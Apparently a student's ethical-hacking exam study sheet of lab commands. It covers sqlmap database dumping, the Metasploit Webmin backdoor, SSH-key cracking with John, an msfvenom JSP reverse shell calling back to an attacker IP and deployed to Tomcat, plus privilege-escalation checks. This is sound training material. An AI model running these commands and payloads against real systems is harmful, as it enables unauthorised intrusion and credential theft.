study-notes.html

πŸ“„ Full Document Output

Testing Web App Vulnerability to SQLi on the login page

sqlmap β€” a popular pentest tool that exploits SQL Injection (SQLi) vulnerabilities in web applications and database servers.

FlagPurpose
-rFeed sqlmap a raw HTTP request (cookie, headers, injection points) saved from Burp Suite
--batchAuto-choose default options, skip Yes/No prompts
--dbsEnumerate and list all database names
--technique=TStrictly use time-delay to extract DB names (skip other checks)
-DEnumerate the selected database
-TEnumerate the selected table
--dump-allDump all records of the selected table
sqlmap workflow
Figure 1 β€” SQLmap workflow: list DBs, select DB, dump table

Capturing HTTP Request (req.file) with Burp Suite Intercept

Ensure Burp Suite and browser proxy settings are correct. See the Burp Intercept guide (shared 10-July, Teams).

Burp Suite intercept and save to req.file
Figure 2 β€” Intercepting the login request in Burp and saving it as req.file

Refresher on Metasploit

Metasploit: a framework that organizes thousands of exploits, pairs them with payloads, and gives a consistent interface to configure/launch/manage attacks.

  1. nmap to find OS/software/services β€” include -p- (all 65,535 ports).
  2. msfconsole β†’ search webmin
  3. Metasploit search webmin results
    Figure 3 β€” Metasploit search webmin results
  4. use 10 (webmin backdoor payload)
  5. set rhosts <target_IP>
  6. set lhost <attacker_IP>
  7. set srvhost <attacker_IP>
  8. run / exploit β†’ meterpreter >
  9. meterpreter > shell
  10. python3 -c 'import pty;pty.spawn("/bin/bash")' β†’ real PTY
πŸ’‘ srvhost: most exploits deliver directly; some non-direct methods run a temporary mini HTTP server and make the target download+execute the payload from it.

Revision: Cracking SSH key into Hash key for John-the-Ripper

Key Linux commands: cd, ls -l, cat, find / -name <file> 2>/dev/null

  1. Locate & copy the SSH key.
  2. mousepad sshkey (save as sshkey).
  3. Editing sshkey in Mousepad
    Figure 5 β€” Opening sshkey in Mousepad (full RSA key incl. headers)
  4. Copy hash incl. RSA BEGIN and END header, paste & save.
  5. Encrypted RSA private key in terminal
    Figure 4 β€” The encrypted SSH private key (RSA BEGIN/END header shown)
  6. python /usr/share/john/ssh2john.py sshkey > hashkey
  7. gunzip rockyou.txt.gz (if compressed) β†’ john --wordlist=... hashkey
  8. John the Ripper cracking with rockyou.txt
    Figure 6 β€” Locating, decompressing (gunzip), and using rockyou.txt with John the Ripper
  9. chmod 600 sshkey
  10. ssh -i sshkey user_name@target_IP

msfvenom JSP Reverse Shell

msfvenom Tomcat reverse shell
Figure 7 β€” Generating, deploying, and triggering the JSP reverse shell on Tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATK_IP LPORT=4444 -f war > revshell.war

πŸ“š Document by Section

1 Β· SQL Injection with sqlmap

sqlmap exploits SQLi on web apps/database servers.

sqlmap -r req.file --batch --dbs --technique=T
sqlmap -r req.file -D <db> --tables
sqlmap -r req.file -D <db> -T <table> --dump-all
FlagMeaning
-rraw HTTP request from Burp
--batchauto default answers
--dbslist databases
--technique=Ttime-based blind only
-D / -Tselect db / table
⚑ Use --technique=T to skip wastefully slow checks and extract DB names quickly.

2 Β· Capturing the HTTP Request (Burp)

Configure Burp + browser proxy, intercept the login request, and save it as req.file to feed sqlmap.

Refer to the Burp Intercept guide (shared 10-July, Teams).

3 Β· Metasploit & Webmin Backdoor

1 Scan target: nmap -p- <target> (all 65,535 ports)
2 msfconsole β†’ search webmin
3 use 10 (webmin backdoor exploit)
4-6 set rhosts Β· set lhost Β· set srvhost
7 run / exploit β†’ meterpreter >
8 shell β†’ target OS prompt
9 python3 -c 'import pty;pty.spawn("/bin/bash")' β†’ real PTY
⚠ srvhost: some exploit methods spin a mini HTTP server on the attacker so the target downloads & runs the payload. Check show options.

4 Β· Meterpreter PTY Explanation

python3 -c 'import pty;pty.spawn("/bin/bash")'

PartWhat it does
python3invoke Python 3
-cexecute following string
import ptyload pseudo-terminal module
pty.spawn("/bin/bash")spawn bash on a new PTY
Makes the target treat the connection like a real SSH/local terminal β€” shows bob@KaliLinux.

5 Β· Locating flags / usernames / ssh keys

find / -name user_name 2>/dev/null
find / -name flag.txt 2>/dev/null

6 Β· Cracking SSH key (John the Ripper)

1 Find & copy the SSH key
2 mousepad sshkey
3 Paste full key incl. RSA BEGIN/END, save
4 python /usr/share/john/ssh2john.py sshkey > hashkey
5 gunzip rockyou.txt.gz (if needed) β†’ john --wordlist=... hashkey
6 chmod 600 sshkey
7 ssh -i sshkey user@target

7 Β· msfvenom JSP Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATK_IP LPORT=4444 -f war > revshell.war
Deliver curl -v -u user:pass -T revshell.war http://target:8080/manager/text/deploy?path=/revshell.war
Listen nc -lvp 4444
Trigger visit http://target:port/revshell.war

🧠 Extra Notes & Cheatsheet

⚑ Command Cheatsheet (one-liners)

ToolCommand
sqlmap list DBssqlmap -r req --batch --dbs --technique=T
sqlmap tablessqlmap -r req -D db --tables
sqlmap dumpsqlmap -r req -D db -T tbl --dump-all
Metasploit search/use/set/runsearch Β· use Β· set Β· run
Target shellmeterpreter > shell
Real PTYpython3 -c 'import pty;pty.spawn("/bin/bash")'
ssh2johnpython /usr/share/john/ssh2john.py sshkey > hashkey
John crackjohn --wordlist=/usr/share/wordlists/rockyou.txt hashkey
Unzip rockyougunzip /usr/share/wordlists/rockyou.txt.gz
Fix permschmod 600 sshkey
Shell inssh -i sshkey user@target
Find flagfind / -name flag.txt 2>/dev/null
msfvenom jspmsfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war > revshell.war

πŸ” Linux vs Windows Commands

TaskLinuxWindows (cmd)
Searchfind / -name flag.txt 2>/dev/nulldir c:\flag.txt /s /b 2>nul
Who am Iwhoamiwhoami
View filecat file1.txttype file1.txt
List filesls -ladir /a
Show folderpwdcd

🧠 Key Concepts Recap

  • srvhost β€” only needed for non-direct payload delivery (mini HTTP server trick).
  • RSA BEGIN/END header β€” MUST be kept when copying the SSH key for ssh2john.
  • Meterpreter shell β‰  real terminal β€” spawn a PTY with python3 to get interactive bash.
  • rockyou.txt β€” classic wordlist; gunzip if compressed before running john.
  • cw war payload β€” JSP reverse TCP shell deploys to Tomcat/WildFly/WebLogic.
  • nmap -p- β€” scan all ports first to discover the target's services.

🧰 Extra Basic Commands (handy for labs)

TaskCommand
Show current userwhoami
Show working directorypwd
List files (details)ls -la
Change directorycd /path
Go homecd ~
View file contentcat file.txt
Edit filenano file.txt / vim file.txt
Find files by namefind / -name <name> 2>/dev/null
Search inside filesgrep -r "text" /path
Copy filecp source dest
Move/renamemv source dest
Delete filerm file (beware!)
Compresstar -czvf out.tar.gz dir
Extracttar -xzvf file.tar.gz
Zip / unzipzip -r out.zip dir / unzip file.zip
Gzip / gunzipgzip file / gunzip file.gz
Network: pingping <host>
Network: open portsss -tulpn
Network: trace routetraceroute <host>
Process listps aux
Real-time processestop / htop
File permissions (chmod)chmod 600 file
Change ownerchown user:group file
πŸ’‘ 2>/dev/null hides errors so output is cleaner β€” pairs well with find / grep.

πŸ“ Helpful Exam-Prep & Extra Knowledge

πŸ” Exploitation Workflow (memorize the order)

1Recon β€” nmap -p- <target> to discover open ports & services
2Identify β€” match service vs known exploits (search Metasploit / CVE)
3Exploit β€” run the module, deliver the payload
4Access β€” shell / Meterpreter β†’ upgrade to PTY
5Post-exploit β€” find flags, usernames, ssh keys, privilege escalation
6Report β€” document each finding + CVSS

πŸ’‘ Quick Concepts

  • Reverse shell vs bind shell: reverse = target connects OUT to attacker (LHOST/LPORT); bind = attacker connects INTO target's open port. Reverse is more common (bypasses firewalls).
  • WHY upgrade to PTY: a plain shell has no job control / TTY; many commands (su, sudo, interactive tools) fail without a real terminal.
  • LHOST vs srvhost: lhost = where the reverse shell connects back; srvhost = the mini HTTP server IP from which the target downloads the payload (only for non-direct delivery).
  • Metasploit set vs use: use selects the module; set fills its options (rhosts/lhost/lport).

πŸ”‘ SSH Key Resolution Order (exam favorite)

  1. Read the key β€” keep BEGIN/END lines
  2. ssh2john key β†’ hash
  3. Convert if encrypted: chmod 600 + ssh-keygen -p to remove passphrase if needed
  4. Crack hash with john + rockyou
  5. Use: ssh -i key user@target

🧩 SQLi β†’ Data Exfiltration Flow

1Capture request in Burp β†’ req.file
2--dbs find DBs β†’ -D db --tables β†’ -T tbl --dump-all
3Look for credentials / users tables β†’ hashes β†’ crack with rockyou

🚩 Common Flag-Hunting Tips

  • Flags often live in /root, /home/<user>, /var/www, or as flag.txt / user.txt / root.txt
  • find / -name "*.txt" 2>/dev/null | grep -i flag
  • Check sudo -l for privilege-escalation paths
  • Watch for world-readable ssh keys (chmod 600 before use)

πŸ—’οΈ Cheatsheet Quick-Ref

TaskCommand
Full port scannmap -p- -T4 -A <target>
Spawn bash TTYpython3 -c 'import pty;pty.spawn("/bin/bash")'
Exit interactive shellCtrl+D or exit
Netcat listenernc -lvnp 4444
Upload file to targetcurl -T file http://target/upload
Download from targetwget http://ip/file / curl -O

πŸŽ“ Study Tips

Practice each tool in a lab (TryHackMe / HTB) β€” memorize the flag meanings, not just commands.
For CVSS-style reasoning, justify every flag choice the same way the brief expects (why AC, AV, etc.).

πŸͺœ Step-by-Step Pentest Walkthrough

A linear, real-lab flow covering every phase β€” with the commands to run at each step. Work top-to-bottom for a full assessment.

Phase 1 Β· Recon (Information Gathering)

1 Ping sweep / host discovery
nmap -sn 10.10.1.0/24
2 Full port scan (all 65,535 TCP ports)
nmap -p- -T4 <target>
3 Version & OS detection
nmap -sV -sC -A -p- <target>
4 Note every service: web, ssh, mysql, tomcat, etc.

Phase 2 Β· Enumeration (Dig into each service)

1 Web dirs & files
gobuster dir -u http://<target> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
2 Web tech / framework (wappalyzer or whatweb)
whatweb http://<target>
3 Hidden subdomains / vhosts
gobuster vhost -u http://<target> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
4 Banner grab SSH / services
nc -nv <target> 22
5 Check default pages, source code, robots.txt, login portals

Phase 3 Β· Vulnerability Discovery

1 Match services vs CVE database / searchsploit
searchsploit webmin
2 Check known exploit modules in msf
msfconsole β†’ search webmin
3 Manual checks: SQLi on login, XSS on inputs, default creds
4 Weak / default credentials (Tomcat manager, MySQL root, etc.)

Phase 4 Β· Exploitation (Gain a foothold)

1 Use the best module
use exploit/linux/http/webmin_backdoor
2 Fill options
set rhosts <target> Β· set lhost <attacker> Β· set srvhost <attacker>
3 Run it
run / exploit β†’ meterpreter >
4 Or craft a custom payload: JSP war reverse shell via msfvenom + deploy to Tomcat

Phase 5 Β· Post-Exploitation

1 Get a shell
meterpreter > shell
2 Upgrade to interactive bash (PTY)
python3 -c 'import pty;pty.spawn("/bin/bash")'
3 Who am I / privileges
whoami Β· id Β· sudo -l
4 Hunt for flags / usernames / ssh keys
find / -name flag.txt 2>/dev/null Β· find / -name "*.txt" 2>/dev/null
5 Credential hunting
cat /etc/passwd Β· config files Β· db dumps

Phase 6 Β· Privilege Escalation

1 Sudo rights
sudo -l
2 SUID binaries
find / -perm -4000 -type f 2>/dev/null
3 Writable files / cron jobs
find / -writable -type f 2>/dev/null | head Β· cat /etc/crontab
4 Kernel exploit (searchsploit) if outdated kernel
5 SSH key access (find + crack with john/rockyou)
python /usr/share/john/ssh2john.py sshkey > hashkey β†’ john --wordlist=... hashkey

Phase 7 Β· Crack Hashes β†’ Lateral Move / Root

1 Collect hashes (shadow file, dumped sqlmap output, configs)
2 Identify hash type β†’ crack with rockyou / hashcat
3 Reuse credential: ssh user@target or the web panel
4 Repeat until you reach root / root.txt (HTB-style)

Phase 8 Β· Report (if assessed)

1 Record every finding: what, where, evidence (screenshot)
2 Score each with CVSS v3.1 (AV/AC/PR/UI/S/C/I/A)
3 Add remediation: patch, block port, disable service
4 Executive summary for non-technical readers

🎯 EHIP Exam Playbook · Sample-Based Pointers

Built from the six assigned sample patterns in the EHIP case-study presentation. Use only on the authorised assessment/lab target, and document every command, result and screenshot as you go.

Before Touching Anything Β· 60-Second Setup

1Record the target and your Kali IP: ip a Β· keep your listener IP/port ready.
2Start a notes log: target, ports, credentials tried, URLs, evidence and flags. This prevents repeating work under exam pressure.
3Recon first, exploit second: scan all ports, then enumerate only the services actually found.
4Before triggering any callback: have the listener running and verify the configured callback IP is your Kali address.

Sample 1 Β· SQLi Login β†’ Directory Discovery β†’ Upload Path

Keywords from the brief: SQLi bypass login, DirB/GoBuster, PHP reverse-shell upload, Netcat.

1Map the web app: inspect login, upload and admin pages; check page source, robots.txt and error messages.
2Find hidden paths: gobuster dir -u http://<target>/ -w <wordlist>. Note upload directories and the URL that executes uploaded files.
3Test authentication only within the lab: determine whether the login behaviour changes, then record the exact request/response evidence.
4For an authorised upload exercise: check permitted extension, upload location and execution URL. Configure the provided class payload with your listener details before upload.
5Listener first: nc -lvnp <port> β†’ then trigger the uploaded file through its web URL.
6After access: whoami Β· id Β· pwd Β· document the proof/flag path.

Sample 2 Β· LFI β†’ Credential Testing β†’ Sudo/GTFOBins

Keywords from the brief: Local File Inclusion (LFI), Hydra, GTFOBins, privilege escalation.

1Identify file-loading parameters: URLs such as ?page=, ?file= or template selectors are candidates. Establish normal behaviour first.
2Validate the finding safely in the assigned lab: use harmless readable-file checks required by the exercise; capture request, response and affected parameter.
3Credential audit only against the authorised service: write down protocol, username list, password list and error/success behaviour before using a rate-limited tool.
4Once logged in: run sudo -l. The executable and allowed user are the important facts to record.
5Use GTFOBins as a lookup aid: search the exact permitted executable, then select the technique that matches the displayed sudo rule β€” do not assume every GTFOBins entry applies.

Sample 3 Β· Webmin RCE / Command Injection Workflow

Keywords from the brief: exploit-db, Webmin 1.920, CVE-2019-15107, Burp Suite/Metasploit, Netcat, tar.

1Confirm the service/version: nmap -sV -p <port> <target>. Match the discovered version to the exercise/CVE; never rely on the product name alone.
2Research before action: read the Exploit-DB/CVE prerequisites, affected versions, endpoint, HTTP method and vulnerable parameter.
3Use Burp methodically: intercept a known-good request, save it, then change only one variable at a time. Confirm GET vs POST and URL encoding.
4Callback sequence: listener ready β†’ modify the authorised lab request β†’ forward once β†’ observe listener and web response.
5Archive handling: inspect before extracting: tar -tf filename.tar; extract when needed: tar -xvf filename.tar.

Sample 4 Β· FTP + Hydra + Privilege Escalation

Keywords from the brief: Hydra, FTP get, GTFOBins.

1Enumerate FTP: confirm version and anonymous-login behaviour; note whether the server permits read, write or both.
2After authorised login: use ls, pwd, then get <filename> for useful files. Keep original filenames and hashes for evidence.
3Credentials are leads, not guaranteed root: try them only on approved services; once inside Linux, assess sudo -l and the user context.
4Exam habit: every FTP file should get a disposition: credential, config, clue, flag, or not relevant.

Samples 5 & 6 Β· Exploit-DB Source β†’ Compile β†’ Execute (Lab Only)

Keywords from the brief: Exploit-DB, gcc, Hydra, Gobuster, hexedit, privilege escalation.

1Read the exploit source first: check affected OS/kernel/app version, architecture, dependencies, required path and intended privilege level.
2Verify compatibility: uname -a Β· uname -m Β· application version. A mismatch is a reason to stop and research, not to run it anyway.
3Compile in the authorised lab: gcc exploit.c -o exploitfile. Read compiler errors; they usually reveal missing libraries or wrong source assumptions.
4Set execution permission only for the reviewed lab binary: chmod +x exploitfile. Re-check ownership and path before execution.
5Image/file clues: if the scenario points to a JPEG or similar, use a hex viewer to inspect signatures, appended data and embedded strings; preserve the original file before editing.

Exam Decision Tree

You find…Do next
Open HTTP/HTTPSBrowse manually β†’ source/robots β†’ Gobuster β†’ identify forms, upload points and parameters.
Known product/versionConfirm with service scan β†’ research CVE/Exploit-DB prerequisites β†’ choose manual/Burp/Metasploit route.
FTP files or credentialsDownload and inspect β†’ map where credentials can be reused in the authorised target.
Shell but not rootid β†’ sudo -l β†’ enumerate SUID/cron/writable paths β†’ check exact GTFOBins match.
Exploit source codeRead requirements β†’ verify OS/version/architecture β†’ compile β†’ interpret errors β†’ execute only in the assigned lab.
Potential callbackListener first β†’ confirm Kali IP/port β†’ trigger once β†’ capture proof of result.

Final Submission Checklist

  • Target/IP, timestamp and scope are recorded.
  • Every finding has reproducible steps, evidence and a clear impact.
  • Commands include the meaningful output, not only the command line.
  • Credentials, payloads and tools are attributed to the authorised lab scenario.
  • Privilege level is demonstrated with id/whoami, not assumed.
πŸ“„
πŸ“š
🧠
πŸͺœ
🎯